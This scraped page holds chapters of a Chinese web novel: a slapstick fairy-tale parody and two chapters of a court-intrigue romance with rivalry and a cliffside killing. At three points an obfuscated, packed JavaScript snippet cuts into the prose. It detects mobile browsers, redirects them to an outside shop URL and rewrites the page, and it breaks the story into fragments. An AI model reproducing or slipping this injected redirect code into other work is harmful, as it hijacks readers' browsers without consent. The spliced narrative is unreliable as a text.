千里撼:“你给我上一边去!你才叫@#?%呢!” “好了不要在意这些细节嘛,我是河神,快让我们进入正题,你掉的是这把金斧……” “我啥都没掉!我跟你说你那些破烂少往我手里塞嗷!” 千里撼说完转身就走,却被一道闪电拦住去路,于是她利落转身,礼貌微笑道:“亲爱的河神,我丢的是这把金斧头。” 河神微笑的称赞了她,“你这孩子真贪哪。作为奖励,这柄铁斧头就送你了,友情提示,你下一个任务是砍树。” “怎么,不找四十大盗改成找强哥了是吗?这是狗熊岭?” 河神神秘微笑道:“别管,看到前方那片森林没有?” 千里撼眯眼顺着河神手指方向看过去,道:“看到了啊,这不得一百亩啊?” “去吧孩子,砍光它们。” 千里撼:“砍光它们?你拿我当核动力驴啊!” “少废话,你给我去!”河神说着,一脚把千里撼揣进森林。 就这样,千里撼来到一片茂密的树林砍起树来,就在她砍到第一百零八棵时远处传来马匹嘶鸣声。 “太好了,四十大终于算来了。”千里撼欣慰的擦了擦汗水,猛的瘫坐在地。 为首的两匹骏马奔腾而来,绕过千里撼来到一处山洞,那两人一黑一白,分别在洞口跳起古怪的舞蹈。 她们跳啊跳,跳啊跳,从天黑跳到天亮,从七彩阳光第一套跳到第九套,就这样一直跳下去。 “都别跳了!” 千里撼睡了好几觉,醒来发现那两人还在跳,终于忍不住,拎着斧头冲出来质问,道:“我说你俩到底能不能把门打开了?” “郡主?!” 一黑一白两道身影顿时欣喜非常,千里撼一眼就认出来这是燕儿佩儿,于是问候道:“你俩这穿的什么玩意儿,cos黑白无常吗?” 佩儿:“非也,我们是四十大盗。” 千里撼:“那我请问剩下那三十八个呢?” 燕儿:“非也,我叫燕四十,她叫佩大盗。我们合起来就是——四十大盗!” 说罢两人齐刷刷摆出一个愚蠢的poss。 千里撼扶了扶额头道:“佩儿你就陪她胡闹吧。” 佩大盗义正言辞道:“请这位#?%#不要套近乎,我们可是凶人恶煞的四十大盗。” 燕四十紧随其后:“嗷呜~” 千里撼:“好好好,怕了你们了。那你们这几天在山洞前边跳广播体操是想干嘛,要给山跳死啊?” “说得好!” 燕四十突然抽风道:“我们四十大盗在此恭候多日,祭祀召唤,只为了等一个能打开这山洞的天选之人!” 佩大盗:“相传此山洞之中有稀世珍宝,但要密码才可进入,我们二人苦寻多年无果,无奈之下才出此下策祭祀召唤。” “芝麻开门。” 千里撼独自走到山前,不理那对双人组合,平静的念出那四个字,紧接着大门缓缓打开。 四十大盗组合默默对视一眼,感叹道:“这么简单吗?” 燕四十当即起范儿,两手一端,唱了起来:“我这里,将郡主,好有一,比呀~” 佩大盗紧随其后,跟着唱起来:“燕四十~” “欸!” 佩大盗:“你把郡主比作什么啰~” 燕四十:“我把郡主,比天人,不差毫分哪~” 一块石头猛的落在二人之间,千里撼实在听不下去,阻止道:“你俩再唱下去就要侵权了。” 于是三人走进山洞查看宝藏,只见山洞之中并无什么稀奇,仅停着一口水晶棺材。 千里撼走上前去,轻抚水晶棺,越过透明,她清晰的看到了里头躺着的美人。 他有一头美丽的银发,如雪的皮肤,朱红色的嘴唇娇艳欲滴,他就是—— “爱谁谁,棺材抬走,人扔掉。”千里撼当即下令。 四十大盗立正敬礼:“yessir!” 两人二话不说,掀开棺材就要把人倒出来,千钧一发之际,那人咳出了噎在喉中的毒苹果,睫毛轻颤,睁开第一眼就看到了被燕四十和佩大盗挡在身后的千里撼。 “啊!英俊的@#?%啊!是你救了我吗?” 那人一把推开四十大盗,扑向千里撼,抓着她的裤腿不放。 在看到闻武的那一刻千里撼并无惊慌,只有一颗平静的内心,她道:“所以你又是谁。” 闻武起身做作的转了个圈儿,将长发甩起,抽了千里撼好几个嘴巴,最后因为太晕了,失去平衡摔倒在她怀里。 千里撼接住他,深情道:“你就说话呗,非转圈儿干嘛啊?” “我,是来自遥远王国的人,因误食了恶毒继父做的草莓炒苹果而中毒,幸好得到你的帮助才能重获新生。我的头发像雪,所以我叫,白雪闻武。” 千里撼眉毛一跳,些许有被雷到。 白雪闻武:“我在吃草莓炒苹果时曾经发誓,如果谁救了我,我就要嫁给她!” 千里撼连连摆手道:“不至于,真不至于,你有发誓的功夫少吃几块苹果都不至于被噎死。” 白雪闻武道:“不!我就要嫁给你!从今以后,我要为你洗衣做饭,陪伴你到沧海桑田,和我在一起吧!” “还是别了,你们国家连草莓炒苹果都能端上桌儿,你做的饭我实在没勇气吃。”千里撼连连后退。 白雪闻武见千里撼如此抗拒,只能使出杀手锏了,他冷哼一声,甩了下头发,双手抱臂道:“那你不想要宝藏了吗?” 千里撼:“宝藏?” 佩大盗:“宝藏!” 燕四十:“宝藏!!” 千里撼一把将四十大盗挥开,整了整衣襟道:“人家说要嫁给我,哪有你们俩啥事儿?” 白雪闻武傲娇的笑了一下,面对俊美的千里撼矜持的将秀发掖到耳后,随即冲了上去,企图当场洞房,好在因四十大盗的围观而被迫放弃了这项流程。 “咳咳,”千里撼蹭了蹭满脸唇印道,“现在可以说宝藏在哪了吧?” 白雪闻武羞涩的清了清嗓子,发出低沉的声音道:“宝藏就在森林深处,被一神兽看守着,传说只要击败神兽就能获得宝藏。” 于是,#?%@#与四十大盗和白雪闻武踏上了寻找宝藏的路上,然而森林之中危险重重,就在四十大盗打盹儿,白雪闻武企图偷吻@#%?时,一匹饿狼从黑暗中窜了出来,扑向@%?#。 白雪闻武挡在千里撼身前大喊道:“达令小心!” “yue!yueyue!哕!” 狼吐了。 “白雪闻武你太恶心了,演什么美式甜心?” 狼说话了。 千里撼缓缓睁开双眼,看到前方站了个长着狼尾与兽耳的人类,看来是位coser。 就在千里撼打算要去集邮时,猛然发现那个狼人就是罗凛,于是问道:“罗凛你这套cos服哪买的,店铺推一下呗。” “什么cos,我是狼人雅各布·罗凛,这片森林是我的领土!” 千里撼呼出一口气,道:“好险,差点侵权了。” 燕四十举手道:“欸,那你是不是还有个死对头吸血鬼跟你三角恋啊?” “够了!你们竟敢踏足我的领地,还有白雪闻武你这个可恶的家伙,我和你势不两立!” 雅各布·罗凛说着,气势汹汹的走到千里撼面前道:“我刚才听到那个恶心的家伙叫你达令,那你们两个……” 白雪闻武冲过来指指点点,愤愤道:“你脑残啊,没上过学,不知道英语啥意思。darling,意思是亲爱的,做名词是就是——” “问你了吗你就在那儿臭显摆,就你上过学,上过学还吃草莓炒苹果,咋不给你毒死!”雅各布·罗凛一把推倒白雪闻武,二人扭打在一起,难舍难分。 场面一度十分混乱,千里撼连同四十大盗合力才将两人分开,片刻后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292890|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千里撼问道:“所以罗凛你想干嘛?” 雅各布·罗凛道:“你就直说,你是不是和白雪闻武在一起了!” 千里撼胡乱答道:“哦哦啊嗯嗯嗯对,你说是就是吧。” 白雪闻武蹭了下鼻血傻笑道:“亲爱的我就说你心里有我!” 雅各布·罗凛默默起身解释道:“我曾经发誓,要夺走白雪闻武的一切,所以——” 他猛地回头,一把扛起千里撼百米冲刺道:“所以你的达令我就笑纳啦!哈哈哈哈!” 白雪闻武扑通一声,跪地哀嚎道:“卑鄙的雅各布·罗凛,我永远都不会放过你!我要回到我的国家,带军队来踏平这片森林!” 千里撼一记手刀劈在罗凛脖颈,道:“我给你一分十八秒,把我送回去,否则把你尾巴毛薅光。” 雅各布·罗凛被打的晕头转向,乖乖将千里撼送了回去。 见千里撼完好回来白雪闻武紧紧抱住她的大腿痛哭,见其哭的这么卖力,雅各布·罗凛也不甘示弱,抱起另一条腿也开哭。 森林里回荡着两道鬼哭狼嚎。 “受不了了,”千里撼一人一拳,还世界一片宁静,两人擦了擦眼泪终于平静下来,“罗凛,我问你宝藏在哪儿。” “我不说,死都不说。” 千里撼:“那你要怎样才说?” “除非你跟我在一起,不然我是不会告诉你的。” 千里撼:“好,我跟你在一起,现在可以告诉我了吧?” “真的吗,”雅各布·罗凛耳朵一立,尾巴开心的甩来甩去,抽了白雪闻武好几下,欣喜道:“那什么,我们狼人在一起是要互相交换气味儿的。我知道不远处有个山洞,嘿嘿嘿,咱俩先去交换完气味儿我再告诉你,哎嘿嘿……” “交换气味儿?” 千里撼看着罗凛认真提问道:“你是怕说交尾过不了审才说交换气味的吗?” “哎呀!哎呀你别说!你别说的那么直接啊!我、我会不好意思的啦~”雅各布·罗凛顿时满脸通红,捂着脸扭来扭去,毛茸茸的大尾巴却勾着千里撼不肯撒开。 于是,勇敢的#?@%跟随狼人雅各布·罗凛走进山洞,不一会儿二人走了出来,狼人鼻青脸肿,捂着秃了一块毛儿的尾巴答应带@#%?去寻找宝藏。 “噗嗤!”白雪闻武满身伤痕,见到狼人这幅模样毫不留情的捂唇嘲笑起来。 一行人越过森林,来到一片沙漠,在沙漠深处有一座金字塔,就在他们要进去时,突然一个巨兽从天而降。 它狮身人首,长着一对巨大的鹰翼,稳稳立在金字塔前。 千里撼见如此庞然大物,不禁感叹道:“谁还记得这个故事一开始是《阿里巴巴和四十大盗》。” 只见那巨兽发出光芒,缓缓化作人形,成为一忧郁男子道:“我乃臧道斯芬克斯,你们来此所为何事啊?” 四十大盗举手道:“来找宝藏。” “宝藏啊,容易,”臧道斯芬克斯缓缓踱步到千里撼面前道,“但你们每人都要回答我一个问题,答上了就拿着宝藏走,答不上就留下来陪我!” 雅各布·罗凛道:“答就答,有什么好怕的!放马过来吧!” “呵呵。好,这可是你说的。” 藏到斯芬克斯瞬移至燕四十面前,气势汹汹问道:“一加一等于几!” “二!” “恭喜你答对了,拿着宝藏走吧!” 他扔给燕四十一袋金币后继续问佩大盗:“你管你妈妈的妈妈叫什么!” “叫姥姥!” “恭喜你也答对了,拿着宝藏走吧!” “下一位,”臧道斯芬克斯对白雪闻武道,“放弃的英文怎么拼写!” “abandon!” “答对了,拿着宝藏走吧!” 下一个是雅各布·罗凛,他早已蓄势待发。 “请问,狼字简体中文版有几画!” “十画!” “正确!你也拿着宝藏走吧!” 千里撼默默扶额,不知道这些人在燃什么,她甚至开始怀疑这个斯芬克斯是不是搞幼教的。 臧道斯芬克斯来到千里撼面前,带着一抹坏笑,道:“到你了。” 千里撼无可奈何的摊了下手,催促道:“你快点问,我赶时间。” “好。” 藏到斯芬克斯深吸一口气,问道:“如何构建一个自洽的物理图景,使得平滑弯曲的几何时空(广义相对论所描述的上帝的舞台)能够与能量一份一份跳跃的量子场(量子力学所描述的掷骰子规则)和谐共存——请做答。” 千里撼张了张口,却没发出声音,怔愣片刻默默看向臧道斯芬克斯道:“我草你——” 勇敢的#@?%还没找回自己的名字,而面对狡猾的臧道斯芬克斯她又该如何应对呢?四十大盗为何只剩两人,白雪闻武和狼人雅各布·罗凛之间到底有何恩怨呢? 让我们下回分解—— 21. 血雨腥风 一 冷硬的风裹着雪粒卷起满地爆仗碎片,拐了个弯儿,直击罗凛面门,他不由得屏住呼吸。 千里撼总不让他出门,说他大病初愈少吹风的好。 罗凛默默捏了捏自己紧实的膀子,觉得千里撼所言有理,可功夫毕竟不同,一日不练十日空,他不想辛苦学来的剑法毁于一旦。 “罗凛?你怎么又出来了。” 千里撼刚巧路过,见罗凛傻站在廊外,快步走来,扯下自己的披风道:“就算要出来也该穿厚些。” 她将披风披在罗凛肩上,眼中尽是无可奈何的担忧。 罗凛看着千里撼,露出个笑容,抬臂就要去抱她,一如从前那般。 “郡主新年好啊!” 一道声音如利剑隔开二人距离,罗凛不自觉停下动作,看向那边。 果然是他。 不知何时,这个叫“准姑爷”的家伙住进了府里,还总黏在郡主身边。 好烦人。 罗凛心中翻了个白眼,不理那人,继续方才动作,紧紧抱住千里撼。 千里撼也宠着他,草草抱了下才转头同那人道:“新年好啊,十三郎也是出来转转吗?” “不是。”闻武眯了眯眼道。 “那是?” 闻武上前一步握住千里撼的手道:“特地来找你。” “所为何事?” “姥姥的病我找到一个新方子兴许能治,但古书上有许多符号我不太懂,所以想请教郡主。”,他说着,目光若有似无的撇了眼罗凛肩上的披风。 千里撼道:“这样啊,我同你去瞧瞧,不过我认识的不多,但愿帮得上你吧。” “无妨,试一试总是好的。” 千里撼拉住罗凛嘱咐道:“你别在外太久,过会儿就回屋里,等开春儿再练武也来得及。没几个月了。” 罗凛撅了撅嘴巴,弯腰将脑袋凑向千里撼。 千里撼明白他的脾气,摸了摸那颗毛茸茸的脑袋道:“乖。” 罗凛:“……好吧。” 闻武跟在千里撼身后离开,临行前回头看了眼罗凛,眼神意味深长。 他的脸永远是笑着的,但有时候看起来像在生气,比如此时此刻。 千里撼同闻武回到药房,闻武拿出一本古籍来,上头密密麻麻做了许多标记。他指了几处不懂的,千里撼便耐心看了起来。 药房外静寂无声,药房内竹简磕碰,二人就这样一直待到黄昏。 千里撼揉了揉酸硬的脖子抬头道:“还好我从前无聊时看过些古籍,总算有些用处。” 闻武冰凉的手触上千里撼脖颈,为其轻轻揉捏起来,道:“郡主博学。此事困扰我许久,如今有郡主帮忙十三郎定能事半功倍。” “嗯,你辛苦了。” 千里撼想起闻武这些天为姥姥忙前忙后,他本就瘦削,如今更甚。还好过年这段时间她每日盯着他吃饭,否则定要瘦成干不可。 况且姥姥的病的确有好转,她已经能够独自站立许久了。 千里撼思索半晌,终于开口道:“但是,困扰你的还有其他事吧。” 闻武动作一停,不解道:“什么?” “你今日是故意叫我来此吧。只因不愿看我同罗凛待在一起。” 闻武的笑容僵在嘴角,他不晓得千里撼会这样直白,也诧异她究竟是如何看出来的,毕竟他的伪装从未被人看穿过。 从前在闻府时,他处处做小伏低,头顶“不祥之人”四个字难免难过,生活中更要处处忍让。 闻武顿了顿,又笑起来,硬着头皮道:“郡主多心了,罗护卫是郡主心腹,我自然无权干涉郡主同他说话,只是今日确实有事才会贸然打断,下次不会了。” 千里撼看向地面,眼神晦暗,良久呼出一口气,默默道:“我不是这个意思……” “什么?” 千里撼捉住闻武瘦削的指骨,逼他直视自己道:“如果你说是,我会向你解释。” 这是她第一次向闻武展示强势的一面,千里撼不确定他心中会怎么想,但她比他更想要个答案。 闻武深吸一口气,眯起眼睛,像一只雪白的孔雀,清冷高傲,道:“郡主是郡主,不必同我解释。” 既然如此,她无话可说。 千里撼放开手,利落地起身离开,“我还有公务处理,先走了,你不要太劳累。” 木门阖上的瞬间,闻武心中的落寞达到了顶峰,他感受着指尖温度一点点消失,由暖转凉。 小时候也是这样,他留不住任何人。 雪色长发滑落腰间,他窝在屋角处,将头抵在膝盖上。 炭火带来的温暖远远无法填补内心的寒冷,他一辈子活在冰天雪地里,早就适应了,想开了,不计较了。 如果没有遇上千里撼的话。 千里撼关上房门,来到桌前,账本都被看完了,什么狗屁公务,都是唬人的话。 她百无聊赖的趴在桌上,胡乱摸到了那块香片。 千里撼试着将其抵在鼻尖,发觉香味已淡,但她依旧舍不得扔,就这么握在手里,毕竟暖一暖可能就出味道了。 年后少不了乱七八糟的礼节,光拜年道贺这一项就够千里撼忙的了。 玉雪倾比她好些,毕竟亲戚许多都遭贬斥,只用写信就好了。 一滴浓墨洇透信纸,见此,玉雪倾无奈笑了下,默默搁笔,扶着额头,止不住的大笑起来。 常玄听闻屋内异样赶忙进来查看,却发现玉雪倾面对一封空信笑的不能自已。 “玉折,你怎么了?” 玉雪倾还在笑,笑的北风呼号,檐上积雪狠砸下来。 良久,她才收敛笑意,同常玄解释道:“这信真的有意义吗?一个朝不保夕的人,给另一个脑袋栓在裤腰带上的人问好。全天下都没有比这滑稽的事了,哈哈哈哈哈!” 常玄心脏一阵刺痛,他太过明白这种感受,紧紧抱住玉雪倾道:“不要这样,这只是一时之困。你、我、郡主、钱老板,我们有人在,只要静待时机,定能翻盘!” 玉雪倾笑声停止,变得毫无情绪,呆呆靠在常玄胸膛,像一具魂魄抽离的尸体,道:“我真的能相信她们吗?” 常玄身躯一怔,他以为玉雪倾对那二人称得上是信任,如今却发出这样的疑问。 或许在她的内心早已不信任何人,常玄没有说话,只是抱着玉雪倾一遍遍的安抚着。 眼睁睁看故人离去,这无疑是种凌迟,多年前上演在他身上的一切如今又在玉雪倾身上重演。 常玄紧紧拥着玉雪倾,对她的伤痛感同身受,同病相怜的二人相互依偎,迷茫的望向前路。 在这世上想要赢就只能赌,寻找盟友又何尝不是一次豪赌。 春寒料峭,崖壁积雪未消。一群人上上下下,背着箩筐寻找着什么。 千里逢站在远处盯着这群人,时不时叫管事的侧耳过来。 “都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292891|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻利点儿!找到了公子要的宝贝有你们的好处!你,还有你,不许偷懒!” 传闻训俭崖临春时会有灵芝生出,此物千金不换,食后可消百病,增十年功力。 昨夜千里逢做了个梦,梦里自己就在这崖边找到了灵芝,于是抱着试试的心态,一早起来便找了许多人来寻灵芝。 “找到了!我找到了!” 崖下一男子呼喊着,高举灵芝朝管事的挥舞道:“看,我找到灵芝了!” “什么?”,千里逢大惊,起身查看,发觉真是灵芝。 “快拉他上来。” 想不到一个荒唐梦竟会灵验,“真是不可思议。” “啊!啊啊啊啊!你做什么!不要抢,这是我找到的!” 管事的闻声喝道:“鬼叫什么,还不快把灵芝给公子送上来!” “救、救命!有人抢我的灵芝!救命!!”,男子挣扎抵抗,一手推开来人,一手护紧灵芝。 崖下,男子四周不断涌来哄抢者,他们露出鬣狗般的眼神,紧盯着那柄灵芝,意图不言而喻。 见此,他只能求救,道:“快!快拉我上去!” 管事的见状刚要命人将其拉上来,却被一只冰冷的手制止,他回头看向千里逢那张风雨不动的脸,低声询问道:“公子的意思是?” “不急,你不觉得有趣吗?” 千里逢生出淡淡笑意,俯身到管事耳边窃窃私语,管事闻言恍然大悟,连连称奇,到崖边吩咐道:“无论是谁,只要能将灵芝完好带上来,重赏黄金十两!” 男子闻言,心脏跌落谷底,这句话无异于催命符,将他往死路上逼。 崖下人皆红了眼,纷纷争抢起来,他们似积雪般纷纷跌落谷底,交缠的绳子被一刀两断。 终于,在激烈的角逐下一名男子胜出,他回头看了眼崖下,深不见底,今日来人二十有余,仅一人生还。 管事命人将他拉上来,千里逢连连拍手称赞,道:“快来人,把黄金拿给他。” 金子像太阳般闪耀,男子慌忙将灵芝轻轻交给管事,方才不义的厮杀变成一场美丽的梦,他握住那枚黄金连连道谢,满心满眼只有它。 “谢、谢谢,谢谢公子!草民、草民谢谢公子!” “无妨,这是你应得的。”千里逢摆了摆手,打量着那个普普通通的农户,他不是那些人中最壮的也不是最有名的,但却是最后的胜利者。 真有趣。 男子怀抱黄金匆匆离去,约莫走了二十几步,一支箭头从他胸前冲出,死死钉在前头树上。 粗麻衣裳被大片血渍浸染,男子低头看了眼心口凸出的箭尖,应声倒地,怀中黄金滚落雪地。 千里逢懒洋洋收起弓箭,丢在那人身上,弯腰拾起黄金,嫌恶道:“这也是你应得的。” 管事小跑过来,狗腿的将男子尸体踹下悬崖,称赞道:“公子好箭法。” 千里逢将金子丢给他道:“想学么?” “哎呦!小的哪敢,若能得公子真传那简直是三生有幸!”说着忙不迭将金子塞进怀里。 “可是,我的弓刚才被你丢了啊。” “什么?”,管事身躯一僵,看向千里逢不知所措。 他来不及反应,被千里逢抬起一脚踹向腹部,脑中轰然一声,慌乱中他企图抓些什么,可惜失败了,一个趔趄倒向崖下。 “找阎王教去吧。”,千里逢嗤笑一声,取过灵芝离开,不留一丝痕迹。 22. 血雨腥风 二 “燕儿,明日备好朝服。” “是。怎得突然要上朝了,是出什么事了吗?” 千里撼道:“几日后陛下圣诞,三皇子明日便会到京,届时又是一场腥风血雨。” 罗凛闻言收剑,自顾自跑去取来一条火红色珠纹广袖飞天裙,抖开放入千里撼怀中道:“这个最漂亮,是朝服吗?” 千里撼摸了摸那套衣裙,笑了下,耐心解释道:“朝服是尊卑的象征,分别为靛、青、朱、紫、墨五色。身份越尊贵衣着颜色越深,若为帝王,则以玄色为底,绣紫金云龙卷草纹。但衣裳终归只是布而已,除去御寒与遮羞再无它用,之所以要这样阶级分明无非是为了强调权力二字,所以朝服不必好看,只需威严。” 燕儿道:“罗凛要不要再猜猜哪套是郡主的朝服?” 罗凛不舍的看了眼那套衣裙,翻箱倒柜找出一套赤色华服,问道:“那是这件吗?” 燕儿摇摇头笑道:“不是的,郡主品级才没那么低呢。” “你是不是喜欢红色啊,”千里撼也跟着笑起来,提示他道,“找紫色。” 这下找的快多了,罗凛端着一个大漆螺钿箱到千里撼面前,道:“是这个吧?” “这回对了,”千里撼打开箱子拎出来给罗凛瞧,偶然发觉他手中似藏着什么,“你这手里是什么?” “这……”罗凛不情不愿的摊开手,里头是一条红珊瑚镶金宽带抹额。 千里撼一眼便认出来,这是她当年参加秋猎带的那条,上头还溅了虎血,自那之后再没带过。 “你喜欢?” 罗凛紧紧握着那条抹额,轻轻点头,不敢看千里撼。 “红珊瑚……”千里撼目光转向罗凛左耳,冷不丁笑了一下,笑的人心里发毛。 “也好,和我送你的耳坠刚好相配。” 她上手捻了下罗凛耳垂,软软的,凉凉的,满意极了,顺手解开罗凛束起的卷发将抹额带了上去,道:“这样你以后就不必束发了,更方便些。” 罗凛半跪在地,任凭千里撼摆弄,乖顺的不成样子。他难掩激动的摸了摸额前的红珊瑚,露出一抹羞涩的笑。 燕儿故意逗他,道:“哎呦,真好看呀!你带着比我们郡主都威风呢!” 罗凛虽低头不语,两只耳朵早已红的不像样,他只道,“多谢燕儿姐姐。”便飞快离开,练功去了。 “你看,你又逗他,万一他再好几天不抬头怎么办。”千里撼点了点燕儿鼻子嗔怪道。 “挺大个男人,倒是挺爱害羞。不过郡主有没有觉得罗凛好像聪明点儿了?” “聪明了?” 千里撼越过门框看了眼傻练剑的罗凛,道:“错觉吧。不过都一年多了,再不聪明就无药可救了。” 燕儿:“我倒觉得他聪明了不少呢,就是在郡主面前还总是笨笨的。” “呵呵,谁在我面前不笨,我是什么人物,岂是那些俗人能比的?”,千里撼嘴巴翘的老高,摆出一副唯我独尊的架势来,逗的燕儿咯咯直笑。 两人你一句我一句,嬉笑打闹,好似寻常人家的姐妹一般。 “好热闹啊,我可打搅你们了?”,一道清冷的声音在二人身后响起。 千里撼闻声回头道:“是闻武啊,这么晚了是有急事找我吗?” “没有急事就不能找郡主吗,”他走近千里撼,站在方才罗凛的位置道,“还有郡主,为什么不叫我十三郎了呢?” 紫色的眼珠像面镜子,千里撼在里头看到了自己,莫名地想躲。闻武拉住千里撼的手在指尖轻吻一下,道:“是不愿意,还是已经厌弃我了呢?” “呃……咳咳咳咳!那个,那个……” 千里撼握拳佯装咳嗽,期间疯狂给燕儿使眼色,燕儿当即会意,义正言辞道:“郡主该就寝了。” 哇,好生硬的理由。 千里撼无奈的叹了口气,真是靠天靠地不如靠自己。她不再躲避,直视闻武,认真道:“十三郎觉得称呼重要吗?” 突然的坦率杀的闻武猝不及防,似是没料到千里撼这般,他有片刻游离,不知该如何应对。 千里撼趁着打铁,反握住闻武的手,紧紧拉着不让其抽回,身躯缓缓贴近他道:“若我日日唤你十三郎,你可会对我袒露一点真心?” 闻武像被针扎了一下,猛的抽回手逃跑似的后退几步,回过神来对上千里撼那双充满侵略性的双眼,默默捂了下脸,缓和道:“郡主说笑了,我此番前来是有要事相商。” 千里撼看了眼空荡荡的掌心,心中划过一丝失落。 看来是她太心急了,千里撼正了正神色道:“你我之间不必吞吐,有话直说。” “我在古籍之中发掘出个药方,可助人易筋洗髓,其中诸多药材相府皆有,但有一味寒芝却是极为难得。据古籍上说,此物只在春冬交际之时生长,寿命仅二十一天,因此想来问一问郡主可知何处可得。” 寒芝,好熟悉的名字。千里撼捂着额头想了许久,猛的一拍脑门儿问道:“是不是一个脑袋长的特别大的蘑菇?” 闻武点点头道:“的确说是上大下小,有肉无骨。” 这就对了,原著里出现过这个东西,只是她不记得叫什么了,一直叫它大脑袋蘑菇。 千里撼道:“我记得有的地方名叫训检崖,那里会长灵芝。这样,你们明日先去那里查看一番。” “一切听郡主的。” 翌日,千里撼收拾一番带佩儿坐马车离开相府,二人走后不久燕儿便带罗凛闻武从小门离开。 三人为低调,共乘一辆马车,燕儿居中,闻武与罗凛各做一侧,互不相让。 这一路实在不平静,闻武闭目养神不问世事,罗凛则死死瞪着他,像警惕野兽,马车内弥漫着淡淡的火药味儿。 燕儿左看看,右瞧瞧,默默扶额,祈祷千万别出事儿。 似是不满罗凛一路上的目光,闻武缓缓睁开眼睛与其对视,片刻后,轻笑一声,道:“看够了吗?” “哼,花孔雀!”罗凛狠狠剜了他一眼。 “不对吧。” 闻武抻了抻袖口褶皱,“这套新衣是郡主年初特地找人做的,不仅漂亮,且比一般衣裳厚上许多。” 他笑着,将衣袖放在罗凛眼前晃了晃,心平气和的解释道:“你看,郡主最爱看我穿素色衣裳,怎么说也不该是花孔雀,当是白孔雀才对啊。” “我记得古籍中说白孔雀是凤凰化身,能驱邪纳福,是祥瑞之鸟。罗侍卫既夸我是孔雀想必也了解这些……只是,有我这祥的瑞在此,为何你还没被驱逐?” 罗凛面色一黑,从喉咙吐出几个字,“你说谁是邪祟?” 不等闻武反应,他一拳下去,身后窗槛顿时裂开道缝隙,冷风直灌。 燕儿见状急忙劝道:“罗侍卫,这可是郡主最喜欢的一辆车,你快收手!” 闻武冷笑一声,毫不退让道:“我说的有错吗?除了会给郡主添乱外,你还有什么能耐。” “我可以保护她,比你这个病秧子强的多!” 燕儿手足无措道:“别吵了,都别吵了,少说两句吧!” 闻武:“保护她,就凭你这三脚猫功夫?” “砰!!” 拳风带起闻武耳侧几缕发丝飘动,车槛应声裂开,罗凛那计拳头很快,若是不偏,势必能够杀死闻武。反观闻武,一动不动,依旧用那副似笑非笑的神情盯着罗凛,两人剑拔弩张,看的燕儿胆战心惊。 罗凛冷声道:“你可以试试我是不是三脚猫功夫。” “是如何,不是又如何?身为侍卫,保护郡主是你的职责,若真有能耐必然有目共睹,恐吓我可没意义。” 燕儿:“罗凛,你在干嘛!这是姑爷啊!” “姑爷又怎样,”罗凛毫不遮掩恶意,出言讽刺,“这种病秧子能活几时?除了浪费郡主的钱财就是耽误郡主做事,不要也罢!” “真可惜啊,”闻武低笑一声,不经意掏出郡主订婚那日送给他的玉佩摸了摸道,“可惜我这样的病秧子,注定要陪郡主一生一世,这并非我说了算的,而是郡主执意如此。” 罗凛:“郡主是被你迷了心窍!别忘了,大魏的女人可不会只有一个男人。” “怎么。你,要当第二个?”闻武藏在衣袖下的手默默攥紧,眼神阴冷,一错不错的盯着罗凛。 罗凛:“这可说不定,万一你死的早,我没准儿能做第一个。” “呵呵,哈哈哈哈哈……” 闻武这声笑像从牙缝中挤出来的,笑的燕儿后背发凉,这两人一副你死我活的模样,她实在不敢贸然上前劝架。 “就凭你,无非是利用郡主心软将自己硬塞给她,以为我瞧不出来么。罗凛,你哪有北疆男人的样子?” 这句话像一把利刃捅进罗凛心窝,他死死盯着闻武,仿佛下一刻就要冲上去杀了他。闻武同样不肯让步,面带同情的蔑视着罗凛,一口银牙几乎要被咬碎。 两人对视许久,罗凛突然笑出声来,像是释然,坦坦荡荡道:“五十步笑百步,你和我没什么两样。” 见气氛越来越僵,再这样下去车盖就要被掀翻了,燕儿急忙见缝插针,道:“二位都消消气,这寒芝可是家主要用的东西。郡主最是孝顺,同老太太有关之事向来不辞辛劳,若能找到寒芝那便相府的大恩人,郡主定会十分开心!” 两人并不接茬儿,齐齐陷入沉默,燕儿长舒一口气,感叹这样也好,总比把马车拆了强。 “吁!燕儿姑娘,咱们到了!” 死一般的沉寂终于被打破,燕儿暗中舒了一口气。 马车停在一处村庄前,三人先后下车。燕儿问道:“这是什么地方?” 车夫:“此处名叫山泉村,马车进不去,穿过这里,后头就是训检崖了。” “好,你就在这儿等我们吧。” 燕儿拢了拢衣裳率先走进村庄,此处十分偏僻,人口稀少不足百户,但毕竟在皇城脚下不至于过分贫瘠,可为何这样安静? 她下意识摸了摸腰间弩箭,提高警惕,然而一张黄纸却吸引了她的注意。燕儿掐住那黄纸仔细查看,发觉竟是张纸钱,冬日里风中夹这东西并不稀奇,只是有些太多了。 三人越往里走越觉得怪异,漫天黄纸乱游,家家户户闭门不出像在躲些什么,唯有棺材铺开门迎客,家家里头摆新棺。 燕儿后退半步,护住闻武道:“姑爷当心,这村子有些奇怪。” “多谢。” 一道人影闪过,罗凛眼疾手快抓住那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不不,我们是外乡进京,赶在年关来探亲的。” 女子闻言放下戒心,道:“跟我走吧,喝完水就走。” “好嘞,多谢夫人!” 